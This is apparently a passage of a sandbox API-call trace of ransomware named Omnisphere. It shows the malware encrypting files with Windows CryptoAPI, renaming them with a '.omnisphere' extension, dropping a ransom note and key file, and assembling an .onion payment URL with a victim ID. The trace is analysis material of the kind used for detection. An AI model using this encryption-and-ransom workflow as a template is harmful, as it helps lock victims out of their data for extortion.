pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.909] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.909] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.909] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.909] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.909] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.909] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.909] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.909] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.909] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.909] CryptDestroyKey (hKey=0x1639b28) returned 1 [0126.909] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0126.909] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x2ba, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0126.909] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0126.913] GetProcessHeap () returned 0x1600000 [0126.913] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2c2) returned 0x16ef310 [0126.913] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\qeZRA65gNPH7U5zlEZte.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\qezra65gnph7u5zlezte.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\qeZRA65gNPH7U5zlEZte.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\qezra65gnph7u5zlezte.lnk.omnisphere")) returned 1 [0126.914] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\qeZRA65gNPH7U5zlEZte.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\qeZRA65gNPH7U5zlEZte.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\qeZRA65gNPH7U5zlEZte.lnk.omnisphere.id" [0126.914] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\qeZRA65gNPH7U5zlEZte.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\qezra65gnph7u5zlezte.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0126.914] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0126.915] CloseHandle (hObject=0x3c0) returned 1 [0126.915] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0126.915] CloseHandle (hObject=0x288) returned 1 [0126.915] SetEndOfFile (hFile=0x28c) returned 1 [0126.915] FlushFileBuffers (hFile=0x28c) returned 1 [0126.919] CloseHandle (hObject=0x28c) returned 1 [0126.919] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\qeZRA65gNPH7U5zlEZte.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0126.919] GetProcessHeap () returned 0x1600000 [0126.919] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16ef5e0 [0126.919] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0126.919] GetProcessHeap () returned 0x1600000 [0126.919] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16d5cd0 [0126.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16d5cd0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0126.920] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0126.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0126.920] GetProcessHeap () returned 0x1600000 [0126.920] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16d8068 [0126.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16d8068, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0126.920] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0126.920] GetProcessHeap () returned 0x1600000 [0126.920] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16d9bd8 [0126.920] PathCombineW (in: pszDest=0x16d9bd8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0126.920] GetProcessHeap () returned 0x1600000 [0126.920] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16dc4a8 [0126.920] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.920] WriteFile (in: hFile=0x28c, lpBuffer=0x16dc4a8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16dc4a8*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0126.920] CloseHandle (hObject=0x28c) returned 1 [0126.921] GetProcessHeap () returned 0x1600000 [0126.921] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16ef5e0 | out: hHeap=0x1600000) returned 1 [0126.921] GetProcessHeap () returned 0x1600000 [0126.921] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0126.921] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0126.921] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.921] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0126.921] CloseHandle (hObject=0x28c) returned 1 [0126.921] GetProcessHeap () returned 0x1600000 [0126.921] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0126.921] GetProcessHeap () returned 0x1600000 [0126.921] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x166ab78 | out: hHeap=0x1600000) returned 1 [0126.921] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20bda129, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x20bda129, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x20bda129, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x3a9, dwReserved0=0x0, dwReserved1=0xd3, cFileName="qfMBt1v.lnk", cAlternateFileName="")) returned 1 [0126.921] GetProcessHeap () returned 0x1600000 [0126.921] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x98) returned 0x167b768 [0126.921] PathCombineW (in: pszDest=0x167b768, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="qfMBt1v.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\qfMBt1v.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\qfMBt1v.lnk" [0126.921] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0126.921] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\qfMBt1v.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\qfmbt1v.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.922] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=937) returned 1 [0126.922] GetTickCount () returned 0x115fac7 [0126.922] GetTickCount () returned 0x115fac7 [0126.922] GetTickCount () returned 0x115fac7 [0126.922] GetTickCount () returned 0x115fac7 [0126.922] GetTickCount () returned 0x115fac7 [0126.922] GetTickCount () returned 0x115fac7 [0126.922] GetTickCount () returned 0x115fac7 [0126.922] GetTickCount () returned 0x115fac7 [0126.922] GetTickCount () returned 0x115fac7 [0126.922] GetTickCount () returned 0x115fac7 [0126.922] GetTickCount () returned 0x115fac7 [0126.922] GetTickCount () returned 0x115fac7 [0126.922] GetTickCount () returned 0x115fac7 [0126.922] GetTickCount () returned 0x115fac7 [0126.922] GetTickCount () returned 0x115fac7 [0126.922] GetTickCount () returned 0x115fac7 [0126.922] GetTickCount () returned 0x115fac7 [0126.922] GetTickCount () returned 0x115fac7 [0126.922] GetTickCount () returned 0x115fac7 [0126.922] GetTickCount () returned 0x115fac7 [0126.922] GetTickCount () returned 0x115fac7 [0126.922] GetTickCount () returned 0x115fac7 [0126.922] GetTickCount () returned 0x115fac7 [0126.922] GetTickCount () returned 0x115fac7 [0126.922] GetTickCount () returned 0x115fac7 [0126.923] GetTickCount () returned 0x115fac7 [0126.923] GetTickCount () returned 0x115fac7 [0126.923] GetTickCount () returned 0x115fac7 [0126.923] GetTickCount () returned 0x115fac7 [0126.923] GetTickCount () returned 0x115fac7 [0126.923] GetTickCount () returned 0x115fac7 [0126.923] GetTickCount () returned 0x115fac7 [0126.923] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16688a0) returned 1 [0126.923] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16395e8) returned 1 [0126.923] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0126.923] CryptDestroyKey (hKey=0x16395e8) returned 1 [0126.923] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0126.923] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3a9, lpName=0x0) returned 0x288 [0126.924] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3a9) returned 0x1480000 [0126.924] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668a38) returned 1 [0126.924] CryptImportKey (in: hProv=0x1668a38, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0126.924] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0126.924] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0126.924] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.924] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.924] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.924] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.925] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.925] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.925] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.925] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.925] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.925] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.925] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.925] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.925] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.925] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.925] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.925] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.925] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.925] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.925] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.925] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.925] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.925] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.925] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.925] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.925] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.925] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.925] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.925] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.925] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.925] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.926] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.926] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.926] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.926] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.926] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.926] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.926] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.926] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.926] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.926] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.926] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.926] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.926] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.926] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.926] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, 